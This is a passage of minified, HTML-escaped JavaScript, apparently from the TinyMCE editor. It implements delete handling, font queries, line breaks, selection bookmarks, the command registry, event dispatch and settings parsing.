c=t.cloneRange();o?c.setEnd(s.startContainer,s.startOffset):c.setStart(s.endContainer,s.endOffset),c.deleteContents()}else t.deleteContents();return e.selection.setRng(s),a=e.dom,u=n,jo.isText(u)&amp;&amp;0===u.data.length&amp;&amp;a.remove(u),!0},gg=function(e,t){return function(e,t){var n=e.selection.getRng();if(!jo.isText(n.commonAncestorContainer))return!1;var r=t?Tu.Forwards:Tu.Backwards,o=Js(e.getBody()),i=d(Ls,o.next),a=d(Ls,o.prev),u=t?i:a,s=t?Lf:Ff,c=Ps(r,e.getBody(),n),l=Vl.normalizePosition(t,u(c));if(!l)return!1;if(s(l))return mg(e,n,c.getNode(),r,t,l);var f=u(l);return!!(f&amp;&amp;s(f)&amp;&amp;Fs(l,f))&amp;&amp;mg(e,n,c.getNode(),r,t,f)}(e,t)},pg=function(e,t){e.getDoc().execCommand(t,!1,null)},hg=function(e){ad(e,!1)||gg(e,!1)||Qd(e,!1)||hf(e,!1)||Dm(e)||Cf(e,!1)||ng(e,!1)||(pg(e,&quot;Delete&quot;),ql(e))},vg=function(e){ad(e,!0)||gg(e,!0)||Qd(e,!0)||hf(e,!0)||Dm(e)||Cf(e,!0)||ng(e,!0)||pg(e,&quot;ForwardDelete&quot;)},yg=function(o,t,e){var n=function(e){return t=o,n=e.dom(),r=_r(n,t),_.from(r).filter(function(e){return 0&lt;e.length});var t,n,r};return na(ar.fromDom(e),function(e){return n(e).isSome()},function(e){return Mr(ar.fromDom(t),e)}).bind(n)},bg=function(o){return function(r,e){return _.from(e).map(ar.fromDom).filter(dr).bind(function(e){return yg(o,r,e.dom()).or((t=o,n=e.dom(),_.from(Si.DOM.getStyle(n,t,!0))));var t,n}).getOr(&quot;&quot;)}},Cg={getFontSize:bg(&quot;font-size&quot;),getFontFamily:H(function(e){return e.replace(/[\&#039;\&quot;\\]/g,&quot;&quot;).replace(/,\s+/g,&quot;,&quot;)},bg(&quot;font-family&quot;)),toPt:function(e,t){return/[0-9.]+px$/.test(e)?(n=72*parseInt(e,10)/96,r=t||0,o=Math.pow(10,r),Math.round(n*o)/o+&quot;pt&quot;):e;var n,r,o}},xg=function(e){return sc.firstPositionIn(e.getBody()).map(function(e){var t=e.container();return jo.isText(t)?t.parentNode:t})},wg=function(o){return _.from(o.selection.getRng()).bind(function(e){var t,n,r=o.getBody();return n=r,(t=e).startContainer===n&amp;&amp;0===t.startOffset?_.none():_.from(o.selection.getStart(!0))})},Ng=function(e,t){if(/^[0-9\.]+$/.test(t)){var n=parseInt(t,10);if(1&lt;=n&amp;&amp;n&lt;=7){var r=Al(e),o=Rl(e);return o?o[n-1]||t:r[n-1]||t}return t}return t},Eg=function(e,t){return e&amp;&amp;t&amp;&amp;e.startContainer===t.startContainer&amp;&amp;e.startOffset===t.startOffset&amp;&amp;e.endContainer===t.endContainer&amp;&amp;e.endOffset===t.endOffset},Sg=function(e,t,n){return null!==function(e,t,n){for(;e&amp;&amp;e!==t;){if(n(e))return e;e=e.parentNode}return null}(e,t,n)},Tg=function(e,t,n){return Sg(e,t,function(e){return e.nodeName===n})},kg=function(e){return e&amp;&amp;&quot;TABLE&quot;===e.nodeName},_g=function(e,t,n){for(var r=new go(t,e.getParent(t.parentNode,e.isBlock)||e.getRoot());t=r[n?&quot;prev&quot;:&quot;next&quot;]();)if(jo.isBr(t))return!0},Ag=function(e,t,n,r,o){var i,a,u,s,c,l,f=e.getRoot(),d=e.schema.getNonEmptyElements();if(u=e.getParent(o.parentNode,e.isBlock)||f,r&amp;&amp;jo.isBr(o)&amp;&amp;t&amp;&amp;e.isEmpty(u))return _.some(Su(o.parentNode,e.nodeIndex(o)));for(i=new go(o,u);s=i[r?&quot;prev&quot;:&quot;next&quot;]();){if(&quot;false&quot;===e.getContentEditableParent(s)||(l=f,ka(c=s)&amp;&amp;!1===Sg(c,l,Ju)))return _.none();if(jo.isText(s)&amp;&amp;0&lt;s.nodeValue.length)return!1===Tg(s,f,&quot;A&quot;)?_.some(Su(s,r?s.nodeValue.length:0)):_.none();if(e.isBlock(s)||d[s.nodeName.toLowerCase()])return _.none();a=s}return n&amp;&amp;a?_.some(Su(a,0)):_.none()},Rg=function(e,t,n,r){var o,i,a,u,s,c,l,f,d,m,g=e.getRoot(),p=!1;if(o=r[(n?&quot;start&quot;:&quot;end&quot;)+&quot;Container&quot;],i=r[(n?&quot;start&quot;:&quot;end&quot;)+&quot;Offset&quot;],l=jo.isElement(o)&amp;&amp;i===o.childNodes.length,s=e.schema.getNonEmptyElements(),c=n,ka(o))return _.none();if(jo.isElement(o)&amp;&amp;i&gt;o.childNodes.length-1&amp;&amp;(c=!1),jo.isDocument(o)&amp;&amp;(o=g,i=0),o===g){if(c&amp;&amp;(u=o.childNodes[0&lt;i?i-1:0])){if(ka(u))return _.none();if(s[u.nodeName]||kg(u))return _.none()}if(o.hasChildNodes()){if(i=Math.min(!c&amp;&amp;0&lt;i?i-1:i,o.childNodes.length-1),o=o.childNodes[i],i=jo.isText(o)&amp;&amp;l?o.data.length:0,!t&amp;&amp;o===g.lastChild&amp;&amp;kg(o))return _.none();if(function(e,t){for(;t&amp;&amp;t!==e;){if(jo.isContentEditableFalse(t))return!0;t=t.parentNode}return!1}(g,o)||ka(o))return _.none();if(o.hasChildNodes()&amp;&amp;!1===kg(o)){a=new go(u=o,g);do{if(jo.isContentEditableFalse(u)||ka(u)){p=!1;break}if(jo.isText(u)&amp;&amp;0&lt;u.nodeValue.length){i=c?0:u.nodeValue.length,o=u,p=!0;break}if(s[u.nodeName.toLowerCase()]&amp;&amp;(!(f=u)||!/^(TD|TH|CAPTION)$/.test(f.nodeName))){i=e.nodeIndex(u),o=u.parentNode,c||i++,p=!0;break}}while(u=c?a.next():a.prev())}}}return t&amp;&amp;(jo.isText(o)&amp;&amp;0===i&amp;&amp;Ag(e,l,t,!0,o).each(function(e){o=e.container(),i=e.offset(),p=!0}),jo.isElement(o)&amp;&amp;((u=o.childNodes[i])||(u=o.childNodes[i-1]),!u||!jo.isBr(u)||(m=&quot;A&quot;,(d=u).previousSibling&amp;&amp;d.previousSibling.nodeName===m)||_g(e,u,!1)||_g(e,u,!0)||Ag(e,l,t,!0,u).each(function(e){o=e.container(),i=e.offset(),p=!0}))),c&amp;&amp;!t&amp;&amp;jo.isText(o)&amp;&amp;i===o.nodeValue.length&amp;&amp;Ag(e,l,t,!1,o).each(function(e){o=e.container(),i=e.offset(),p=!0}),p?_.some(Su(o,i)):_.none()},Dg=function(e,t){var n=t.collapsed,r=t.cloneRange(),o=Su.fromRangeStart(t);return Rg(e,n,!0,r).each(function(e){n&amp;&amp;Su.isAbove(o,e)||r.setStart(e.container(),e.offset())}),n||Rg(e,n,!1,r).each(function(e){r.setEnd(e.container(),e.offset())}),n&amp;&amp;r.collapse(!0),Eg(t,r)?_.none():_.some(r)},Og=function(e,t,n){var r=e.create(&quot;span&quot;,{},&quot;&amp;nbsp;&quot;);n.parentNode.insertBefore(r,n),t.scrollIntoView(r),e.remove(r)},Bg=function(e,t,n,r){var o=e.createRng();r?(o.setStartBefore(n),o.setEndBefore(n)):(o.setStartAfter(n),o.setEndAfter(n)),t.setRng(o)},Pg=function(e,t){var n,r,o=e.selection,i=e.dom,a=o.getRng();Dg(i,a).each(function(e){a.setStart(e.startContainer,e.startOffset),a.setEnd(e.endContainer,e.endOffset)});var u=a.startOffset,s=a.startContainer;if(1===s.nodeType&amp;&amp;s.hasChildNodes()){var c=u&gt;s.childNodes.length-1;s=s.childNodes[Math.min(u,s.childNodes.length-1)]||s,u=c&amp;&amp;3===s.nodeType?s.nodeValue.length:0}var l=i.getParent(s,i.isBlock),f=l?i.getParent(l.parentNode,i.isBlock):null,d=f?f.nodeName.toUpperCase():&quot;&quot;,m=t&amp;&amp;t.ctrlKey;&quot;LI&quot;!==d||m||(l=f),s&amp;&amp;3===s.nodeType&amp;&amp;u&gt;=s.nodeValue.length&amp;&amp;(function(e,t,n){for(var r,o=new go(t,n),i=e.getNonEmptyElements();r=o.next();)if(i[r.nodeName.toLowerCase()]||0&lt;r.length)return!0}(e.schema,s,l)||(n=i.create(&quot;br&quot;),a.insertNode(n),a.setStartAfter(n),a.setEndAfter(n),r=!0)),n=i.create(&quot;br&quot;),zu(i,a,n),Og(i,o,n),Bg(i,o,n,r),e.undoManager.add()},Ig=function(e,t){var n=ar.fromTag(&quot;br&quot;);Pi(ar.fromDom(t),n),e.undoManager.add()},Lg=function(e,t){Fg(e.getBody(),t)||Ii(ar.fromDom(t),ar.fromTag(&quot;br&quot;));var n=ar.fromTag(&quot;br&quot;);Ii(ar.fromDom(t),n),Og(e.dom,e.selection,n.dom()),Bg(e.dom,e.selection,n.dom(),!1),e.undoManager.add()},Fg=function(e,t){return n=_u.after(t),!!jo.isBr(n.getNode())||sc.nextPosition(e,_u.after(t)).map(function(e){return jo.isBr(e.getNode())}).getOr(!1);var n},Mg=function(e){return e&amp;&amp;&quot;A&quot;===e.nodeName&amp;&amp;&quot;href&quot;in e},zg=function(e){return e.fold(q(!1),Mg,Mg,q(!1))},Ug=function(e,t){t.fold(o,d(Ig,e),d(Lg,e),o)},jg=function(e,t){var n,r,o,i=(n=e,r=d(Vl.isInlineTarget,n),o=_u.fromRangeStart(n.selection.getRng()),Ld(r,n.getBody(),o).filter(zg));i.isSome()?i.each(d(Ug,e)):Pg(e,t)},Vg={create:Ar(&quot;start&quot;,&quot;soffset&quot;,&quot;finish&quot;,&quot;foffset&quot;)},Hg=xf([{before:[&quot;element&quot;]},{on:[&quot;element&quot;,&quot;offset&quot;]},{after:[&quot;element&quot;]}]),qg=(Hg.before,Hg.on,Hg.after,function(e){return e.fold($,$,$)}),$g=xf([{domRange:[&quot;rng&quot;]},{relative:[&quot;startSitu&quot;,&quot;finishSitu&quot;]},{exact:[&quot;start&quot;,&quot;soffset&quot;,&quot;finish&quot;,&quot;foffset&quot;]}]),Wg={domRange:$g.domRange,relative:$g.relative,exact:$g.exact,exactFromRange:function(e){return $g.exact(e.start(),e.soffset(),e.finish(),e.foffset())},getWin:function(e){var t=e.match({domRange:function(e){return ar.fromDom(e.startContainer)},relative:function(e,t){return qg(e)},exact:function(e,t,n,r){return e}});return jr(t)},range:Vg.create},Kg=or.detect().browser,Xg=function(e,t){var n=mr(t)?Mc(t).length:Kr(t).length+1;return n&lt;e?n:e&lt;0?0:e},Yg=function(e){return Wg.range(e.start(),Xg(e.soffset(),e.start()),e.finish(),Xg(e.foffset(),e.finish()))},Gg=function(e,t){return!jo.isRestrictedNode(t.dom())&amp;&amp;(zr(e,t)||Mr(e,t))},Jg=function(t){return function(e){return Gg(t,e.start())&amp;&amp;Gg(t,e.finish())}},Qg=function(e){return!0===e.inline||Kg.isIE()},Zg=function(e){return Wg.range(ar.fromDom(e.startContainer),e.startOffset,ar.fromDom(e.endContainer),e.endOffset)},ep=function(e){var t=e.getSelection();return(t&amp;&amp;0!==t.rangeCount?_.from(t.getRangeAt(0)):_.none()).map(Zg)},tp=function(e){var t=jr(e);return ep(t.dom()).filter(Jg(e))},np=function(e,t){return _.from(t).filter(Jg(e)).map(Yg)},rp=function(e){var t=V.document.createRange();try{return t.setStart(e.start().dom(),e.soffset()),t.setEnd(e.finish().dom(),e.foffset()),_.some(t)}catch(n){return _.none()}},op=function(e){return(e.bookmark?e.bookmark:_.none()).bind(d(np,ar.fromDom(e.getBody()))).bind(rp)},ip=function(e){var t=Qg(e)?tp(ar.fromDom(e.getBody())):_.none();e.bookmark=t.isSome()?t:e.bookmark},ap=function(t){op(t).each(function(e){t.selection.setRng(e)})},up=op,sp=function(e){return Eo(e)||So(e)},cp=function(e){return U(W(e.selection.getSelectedBlocks(),ar.fromDom),function(e){return!sp(e)&amp;&amp;!Vr(e).map(sp).getOr(!1)})},lp=function(e,t){var n=e.settings,r=e.dom,o=e.selection,i=e.formatter,a=/[a-z%]+$/i.exec(n.indentation)[0],u=parseInt(n.indentation,10),s=e.getParam(&quot;indent_use_margin&quot;,!1);e.queryCommandState(&quot;InsertUnorderedList&quot;)||e.queryCommandState(&quot;InsertOrderedList&quot;)||n.forced_root_block||r.getParent(o.getNode(),r.isBlock)||i.apply(&quot;div&quot;),z(cp(e),function(e){!function(e,t,n,r,o,i){if(&quot;false&quot;!==e.getContentEditable(i)){var a=n?&quot;margin&quot;:&quot;padding&quot;;if(a=&quot;TABLE&quot;===i.nodeName?&quot;margin&quot;:a,a+=&quot;rtl&quot;===e.getStyle(i,&quot;direction&quot;,!0)?&quot;Right&quot;:&quot;Left&quot;,&quot;outdent&quot;===t){var u=Math.max(0,parseInt(i.style[a]||0,10)-r);e.setStyle(i,a,u?u+o:&quot;&quot;)}else u=parseInt(i.style[a]||0,10)+r+o,e.setStyle(i,a,u)}}(r,t,s,u,a,e.dom())})},fp=Xt.each,dp=Xt.extend,mp=Xt.map,gp=Xt.inArray;function pp(s){var o,i,a,t,c={state:{},exec:{},value:{}},n=s.settings;s.on(&quot;PreInit&quot;,function(){o=s.dom,i=s.selection,n=s.settings,a=s.formatter});var r=function(e){var t;if(!s.quirks.isHidden()&amp;&amp;!s.removed){if(e=e.toLowerCase(),t=c.state[e])return t(e);try{return s.getDoc().queryCommandState(e)}catch(n){}return!1}},e=function(e,n){n=n||&quot;exec&quot;,fp(e,function(t,e){fp(e.toLowerCase().split(&quot;,&quot;),function(e){c[n][e]=t})})},u=function(e,t,n){e=e.toLowerCase(),c.value[e]=function(){return t.call(n||s)}};dp(this,{execCommand:function(t,n,r,e){var o,i,a=!1;if(!s.removed){if(/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint)$/.test(t)||e&amp;&amp;e.skip_focus?ap(s):s.focus(),(e=s.fire(&quot;BeforeExecCommand&quot;,{command:t,ui:n,value:r})).isDefaultPrevented())return!1;if(i=t.toLowerCase(),o=c.exec[i])return o(i,n,r),s.fire(&quot;ExecCommand&quot;,{command:t,ui:n,value:r}),!0;if(fp(s.plugins,function(e){if(e.execCommand&amp;&amp;e.execCommand(t,n,r))return s.fire(&quot;ExecCommand&quot;,{command:t,ui:n,value:r}),!(a=!0)}),a)return a;if(s.theme&amp;&amp;s.theme.execCommand&amp;&amp;s.theme.execCommand(t,n,r))return s.fire(&quot;ExecCommand&quot;,{command:t,ui:n,value:r}),!0;try{a=s.getDoc().execCommand(t,n,r)}catch(u){}return!!a&amp;&amp;(s.fire(&quot;ExecCommand&quot;,{command:t,ui:n,value:r}),!0)}},queryCommandState:r,queryCommandValue:function(e){var t;if(!s.quirks.isHidden()&amp;&amp;!s.removed){if(e=e.toLowerCase(),t=c.value[e])return t(e);try{return s.getDoc().queryCommandValue(e)}catch(n){}}},queryCommandSupported:function(e){if(e=e.toLowerCase(),c.exec[e])return!0;try{return s.getDoc().queryCommandSupported(e)}catch(t){}return!1},addCommands:e,addCommand:function(e,o,i){e=e.toLowerCase(),c.exec[e]=function(e,t,n,r){return o.call(i||s,t,n,r)}},addQueryStateHandler:function(e,t,n){e=e.toLowerCase(),c.state[e]=function(){return t.call(n||s)}},addQueryValueHandler:u,hasCustomCommand:function(e){return e=e.toLowerCase(),!!c.exec[e]}});var l=function(e,t,n){return t===undefined&amp;&amp;(t=!1),n===undefined&amp;&amp;(n=null),s.getDoc().execCommand(e,t,n)},f=function(e){return a.match(e)},d=function(e,t){a.toggle(e,t?{value:t}:undefined),s.nodeChanged()},m=function(e){t=i.getBookmark(e)},g=function(){i.moveToBookmark(t)};e({&quot;mceResetDesignMode,mceBeginUndoLevel&quot;:function(){},&quot;mceEndUndoLevel,mceAddUndoLevel&quot;:function(){s.undoManager.add()},&quot;Cut,Copy,Paste&quot;:function(e){var t,n=s.getDoc();try{l(e)}catch(o){t=!0}if(&quot;paste&quot;!==e||n.queryCommandEnabled(e)||(t=!0),t||!n.queryCommandSupported(e)){var r=s.translate(&quot;Your browser doesn&#039;t support direct access to the clipboard. Please use the Ctrl+X/C/V keyboard shortcuts instead.&quot;);fe.mac&amp;&amp;(r=r.replace(/Ctrl\+/g,&quot;\u2318+&quot;)),s.notificationManager.open({text:r,type:&quot;error&quot;})}},unlink:function(){if(i.isCollapsed()){var e=s.dom.getParent(s.selection.getStart(),&quot;a&quot;);e&amp;&amp;s.dom.remove(e,!0)}else a.remove(&quot;link&quot;)},&quot;JustifyLeft,JustifyCenter,JustifyRight,JustifyFull,JustifyNone&quot;:function(e){var t=e.substring(7);&quot;full&quot;===t&amp;&amp;(t=&quot;justify&quot;),fp(&quot;left,center,right,justify&quot;.split(&quot;,&quot;),function(e){t!==e&amp;&amp;a.remove(&quot;align&quot;+e)}),&quot;none&quot;!==t&amp;&amp;d(&quot;align&quot;+t)},&quot;InsertUnorderedList,InsertOrderedList&quot;:function(e){var t,n;l(e),(t=o.getParent(i.getNode(),&quot;ol,ul&quot;))&amp;&amp;(n=t.parentNode,/^(H[1-6]|P|ADDRESS|PRE)$/.test(n.nodeName)&amp;&amp;(m(),o.split(n,t),g()))},&quot;Bold,Italic,Underline,Strikethrough,Superscript,Subscript&quot;:function(e){d(e)},&quot;ForeColor,HiliteColor&quot;:function(e,t,n){d(e,n)},FontName:function(e,t,n){var r,o;o=n,(r=s).formatter.toggle(&quot;fontname&quot;,{value:Ng(r,o)}),r.nodeChanged()},FontSize:function(e,t,n){var r,o;o=n,(r=s).formatter.toggle(&quot;fontsize&quot;,{value:Ng(r,o)}),r.nodeChanged()},RemoveFormat:function(e){a.remove(e)},mceBlockQuote:function(){d(&quot;blockquote&quot;)},FormatBlock:function(e,t,n){return d(n||&quot;p&quot;)},mceCleanup:function(){var e=i.getBookmark();s.setContent(s.getContent()),i.moveToBookmark(e)},mceRemoveNode:function(e,t,n){var r=n||i.getNode();r!==s.getBody()&amp;&amp;(m(),s.dom.remove(r,!0),g())},mceSelectNodeDepth:function(e,t,n){var r=0;o.getParent(i.getNode(),function(e){if(1===e.nodeType&amp;&amp;r++===n)return i.select(e),!1},s.getBody())},mceSelectNode:function(e,t,n){i.select(n)},mceInsertContent:function(e,t,n){ml(s,n)},mceInsertRawHTML:function(e,t,n){i.setContent(&quot;tiny_mce_marker&quot;);var r=s.getContent();s.setContent(r.replace(/tiny_mce_marker/g,function(){return n}))},mceToggleFormat:function(e,t,n){d(n)},mceSetContent:function(e,t,n){s.setContent(n)},&quot;Indent,Outdent&quot;:function(e){lp(s,e)},mceRepaint:function(){},InsertHorizontalRule:function(){s.execCommand(&quot;mceInsertContent&quot;,!1,&quot;&lt;hr /&gt;&quot;)},mceToggleVisualAid:function(){s.hasVisual=!s.hasVisual,s.addVisual()},mceReplaceContent:function(e,t,n){s.execCommand(&quot;mceInsertContent&quot;,!1,n.replace(/\{\$selection\}/g,i.getContent({format:&quot;text&quot;})))},mceInsertLink:function(e,t,n){var r;&quot;string&quot;==typeof n&amp;&amp;(n={href:n}),r=o.getParent(i.getNode(),&quot;a&quot;),n.href=n.href.replace(&quot; &quot;,&quot;%20&quot;),r&amp;&amp;n.href||a.remove(&quot;link&quot;),n.href&amp;&amp;a.apply(&quot;link&quot;,n,r)},selectAll:function(){var e=o.getParent(i.getStart(),jo.isContentEditableTrue);if(e){var t=o.createRng();t.selectNodeContents(e),i.setRng(t)}},&quot;delete&quot;:function(){hg(s)},forwardDelete:function(){vg(s)},mceNewDocument:function(){s.setContent(&quot;&quot;)},InsertLineBreak:function(e,t,n){return jg(s,n),!0}});var p=function(n){return function(){var e=i.isCollapsed()?[o.getParent(i.getNode(),o.isBlock)]:i.getSelectedBlocks(),t=mp(e,function(e){return!!a.matchNode(e,n)});return-1!==gp(t,!0)}};e({JustifyLeft:p(&quot;alignleft&quot;),JustifyCenter:p(&quot;aligncenter&quot;),JustifyRight:p(&quot;alignright&quot;),JustifyFull:p(&quot;alignjustify&quot;),&quot;Bold,Italic,Underline,Strikethrough,Superscript,Subscript&quot;:function(e){return f(e)},mceBlockQuote:function(){return f(&quot;blockquote&quot;)},Outdent:function(){var e;if(n.inline_styles){if((e=o.getParent(i.getStart(),o.isBlock))&amp;&amp;0&lt;parseInt(e.style.paddingLeft,10))return!0;if((e=o.getParent(i.getEnd(),o.isBlock))&amp;&amp;0&lt;parseInt(e.style.paddingLeft,10))return!0}return r(&quot;InsertUnorderedList&quot;)||r(&quot;InsertOrderedList&quot;)||!n.inline_styles&amp;&amp;!!o.getParent(i.getNode(),&quot;BLOCKQUOTE&quot;)},&quot;InsertUnorderedList,InsertOrderedList&quot;:function(e){var t=o.getParent(i.getNode(),&quot;ul,ol&quot;);return t&amp;&amp;(&quot;insertunorderedlist&quot;===e&amp;&amp;&quot;UL&quot;===t.tagName||&quot;insertorderedlist&quot;===e&amp;&amp;&quot;OL&quot;===t.tagName)}},&quot;state&quot;),e({Undo:function(){s.undoManager.undo()},Redo:function(){s.undoManager.redo()}}),u(&quot;FontName&quot;,function(){return wg(t=s).fold(function(){return xg(t).map(function(e){return Cg.getFontFamily(t.getBody(),e)}).getOr(&quot;&quot;)},function(e){return Cg.getFontFamily(t.getBody(),e)});var t},this),u(&quot;FontSize&quot;,function(){return wg(t=s).fold(function(){return xg(t).map(function(e){return Cg.getFontSize(t.getBody(),e)}).getOr(&quot;&quot;)},function(e){return Cg.getFontSize(t.getBody(),e)});var t},this)}var hp=Xt.makeMap(&quot;focus blur focusin focusout click dblclick mousedown mouseup mousemove mouseover beforepaste paste cut copy selectionchange mouseout mouseenter mouseleave wheel keydown keypress keyup input contextmenu dragstart dragend dragover draggesture dragdrop drop drag submit compositionstart compositionend compositionupdate touchstart touchmove touchend&quot;,&quot; &quot;),vp=function(a){var u,s,c=this,l={},f=function(){return!1},d=function(){return!0};u=(a=a||{}).scope||c,s=a.toggleEvent||f;var r=function(e,t,n,r){var o,i,a;if(!1===t&amp;&amp;(t=f),t)for(t={func:t},r&amp;&amp;Xt.extend(t,r),a=(i=e.toLowerCase().split(&quot; &quot;)).length;a--;)e=i[a],(o=l[e])||(o=l[e]=[],s(e,!0)),n?o.unshift(t):o.push(t);return c},m=function(e,t){var n,r,o,i,a;if(e)for(n=(i=e.toLowerCase().split(&quot; &quot;)).length;n--;){if(e=i[n],r=l[e],!e){for(o in l)s(o,!1),delete l[o];return c}if(r){if(t)for(a=r.length;a--;)r[a].func===t&amp;&amp;(r=r.slice(0,a).concat(r.slice(a+1)),l[e]=r);else r.length=0;r.length||(s(e,!1),delete l[e])}}else{for(e in l)s(e,!1);l={}}return c};c.fire=function(e,t){var n,r,o,i;if(e=e.toLowerCase(),(t=t||{}).type=e,t.target||(t.target=u),t.preventDefault||(t.preventDefault=function(){t.isDefaultPrevented=d},t.stopPropagation=function(){t.isPropagationStopped=d},t.stopImmediatePropagation=function(){t.isImmediatePropagationStopped=d},t.isDefaultPrevented=f,t.isPropagationStopped=f,t.isImmediatePropagationStopped=f),a.beforeFire&amp;&amp;a.beforeFire(t),n=l[e])for(r=0,o=n.length;r&lt;o;r++){if((i=n[r]).once&amp;&amp;m(e,i.func),t.isImmediatePropagationStopped())return t.stopPropagation(),t;if(!1===i.func.call(u,t))return t.preventDefault(),t}return t},c.on=r,c.off=m,c.once=function(e,t,n){return r(e,t,n,{once:!0})},c.has=function(e){return e=e.toLowerCase(),!(!l[e]||0===l[e].length)}};vp.isNative=function(e){return!!hp[e.toLowerCase()]};var yp,bp=function(n){return n._eventDispatcher||(n._eventDispatcher=new vp({scope:n,toggleEvent:function(e,t){vp.isNative(e)&amp;&amp;n.toggleNativeEvent&amp;&amp;n.toggleNativeEvent(e,t)}})),n._eventDispatcher},Cp={fire:function(e,t,n){if(this.removed&amp;&amp;&quot;remove&quot;!==e&amp;&amp;&quot;detach&quot;!==e)return t;if(t=bp(this).fire(e,t,n),!1!==n&amp;&amp;this.parent)for(var r=this.parent();r&amp;&amp;!t.isPropagationStopped();)r.fire(e,t,!1),r=r.parent();return t},on:function(e,t,n){return bp(this).on(e,t,n)},off:function(e,t){return bp(this).off(e,t)},once:function(e,t){return bp(this).once(e,t)},hasEventListeners:function(e){return bp(this).has(e)}},xp=function(e,t){return e.fire(&quot;PreProcess&quot;,t)},wp=function(e,t){return e.fire(&quot;PostProcess&quot;,t)},Np=function(e){return e.fire(&quot;remove&quot;)},Ep=function(e){return e.fire(&quot;detach&quot;)},Sp=function(e,t){return e.fire(&quot;SwitchMode&quot;,{mode:t})},Tp=function(e,t,n,r){e.fire(&quot;ObjectResizeStart&quot;,{target:t,width:n,height:r})},kp=function(e,t,n,r){e.fire(&quot;ObjectResized&quot;,{target:t,width:n,height:r})},_p=function(e,t,n){try{e.getDoc().execCommand(t,!1,n)}catch(r){}},Ap=function(e,t,n){var r,o;Gi(e,t)&amp;&amp;!1===n?(o=t,$i(r=e)?r.dom().classList.remove(o):Ki(r,o),Yi(r)):n&amp;&amp;Xi(e,t)},Rp=function(e,t){Ap(ar.fromDom(e.getBody()),&quot;mce-content-readonly&quot;,t),t?(e.selection.controlSelection.hideResizeRect(),e.readonly=!0,e.getBody().contentEditable=&quot;false&quot;):(e.readonly=!1,e.getBody().contentEditable=&quot;true&quot;,_p(e,&quot;StyleWithCSS&quot;,!1),_p(e,&quot;enableInlineTableEditing&quot;,!1),_p(e,&quot;enableObjectResizing&quot;,!1),e.focus(),e.nodeChanged())},Dp=function(e){return e.readonly?&quot;readonly&quot;:&quot;design&quot;},Op=Si.DOM,Bp=function(e,t){return&quot;selectionchange&quot;===t?e.getDoc():!e.inline&amp;&amp;/^mouse|touch|click|contextmenu|drop|dragover|dragend/.test(t)?e.getDoc().documentElement:e.settings.event_root?(e.eventRoot||(e.eventRoot=Op.select(e.settings.event_root)[0]),e.eventRoot):e.getBody()},Pp=function(e,t,n){var r;(r=e).hidden||r.readonly?!0===e.readonly&amp;&amp;n.preventDefault():e.fire(t,n)},Ip=function(i,a){var e,t;if(i.delegates||(i.delegates={}),!i.delegates[a]&amp;&amp;!i.removed)if(e=Bp(i,a),i.settings.event_root){if(yp||(yp={},i.editorManager.on(&quot;removeEditor&quot;,function(){var e;if(!i.editorManager.activeEditor&amp;&amp;yp){for(e in yp)i.dom.unbind(Bp(i,e));yp=null}})),yp[a])return;t=function(e){for(var t=e.target,n=i.editorManager.get(),r=n.length;r--;){var o=n[r].getBody();(o===t||Op.isChildOf(t,o))&amp;&amp;Pp(n[r],a,e)}},yp[a]=t,Op.bind(e,a,t)}else t=function(e){Pp(i,a,e)},Op.bind(e,a,t),i.delegates[a]=t},Lp={bindPendingEventDelegates:function(){var t=this;Xt.each(t._pendingNativeEvents,function(e){Ip(t,e)})},toggleNativeEvent:function(e,t){var n=this;&quot;focus&quot;!==e&amp;&amp;&quot;blur&quot;!==e&amp;&amp;(t?n.initialized?Ip(n,e):n._pendingNativeEvents?n._pendingNativeEvents.push(e):n._pendingNativeEvents=[e]:n.initialized&amp;&amp;(n.dom.unbind(Bp(n,e),e,n.delegates[e]),delete n.delegates[e]))},unbindAllNativeEvents:function(){var e,t=this,n=t.getBody(),r=t.dom;if(t.delegates){for(e in t.delegates)t.dom.unbind(Bp(t,e),e,t.delegates[e]);delete t.delegates}!t.inline&amp;&amp;n&amp;&amp;r&amp;&amp;(n.onload=null,r.unbind(t.getWin()),r.unbind(t.getDoc())),r&amp;&amp;(r.unbind(n),r.unbind(t.getContainer()))}},Fp=Lp=Xt.extend({},Cp,Lp),Mp=Ar(&quot;sections&quot;,&quot;settings&quot;),zp=or.detect().deviceType.isTouch(),Up=[&quot;lists&quot;,&quot;autolink&quot;,&quot;autosave&quot;],jp={theme:&quot;mobile&quot;},Vp=function(e){var t=k(e)?e.join(&quot; &quot;):e,n=W(S(t)?t.split(&quot; &quot;):[],Gn);return U(n,function(e){return 0&lt;e.length})},Hp=function(e,t){return e.sections().hasOwnProperty(t)},qp=function(e,t,n,r){var o,i=Vp(n.forced_plugins),a=Vp(r.plugins),u=e&amp;&amp;Hp(t,&quot;mobile&quot;)?U(a,d(F,Up)):a,s=(o=u,[].concat(Vp(i)).concat(Vp(o)));return Xt.extend(r,{plugins:s.join(&quot; &quot;)})},$p=function(e,t,n,r){var o,i,a,u,s,c,l,f,d,m,g,p,h=(o=[&quot;mobile&quot;],i=yr(r,function(e,t){return F(o,t)}),Mp(i.t,i.f)),v=Xt.extend(t,n,h.settings(),(m=e,p=(g=h).settings().inline,m&amp;&amp;Hp(g,&quot;mobile&quot;)&amp;&amp;!p?(c=&quot;mobile&quot;,l=jp,f=h.sections(),d=f.hasOwnProperty(c)?f[c]:{},Xt.extend({},l,d)):{}),{validate:!0,content_editable:h.settings().inline,external_plugins:(a=n,u=h.settings(),s=u.external_plugins?u.external_plugins:{},a&amp;&amp;a.external_plugins?Xt.extend({},a.external_plugins,s):s)});return qp(e,h,n,v)},Wp=function(e,t,n){return _.from(t.settings[n]).filter(e)},Kp=function(e,t,n,r){var o,i,a,u=t in e.settings?e.settings[t]:n;return&quot;hash&quot;===r?(a={},&quot;string&quot;==typeof(i=u)?z(0&lt;i.indexOf(&quot;=&quot;)?i.split(/[;,](?![^=;,]*(?:[;,]|$))/):i.split(&quot;,&quot;),function(e){var t=e.split(&quot;=&quot;);1&lt;t.length?a[Xt.trim(t[0])]=Xt.trim(t[1]):a[Xt.trim(t[0])]=Xt.trim(t)}):a=i,a):&quot;string&quot;===r?Wp(S,e,t).getOr(n):&quot;number&quot;===r?Wp(O,e,t).getOr(n):&quot;boolean&quot;===r?Wp(R,e,t).getOr(n):&quot;object&quot;===r?Wp(T,e,t).getOr(n):&quot;array&quot;===r?Wp(k,e,t).getOr(n):&quot;string[]&quot;===r?Wp((o=S,function(e){return 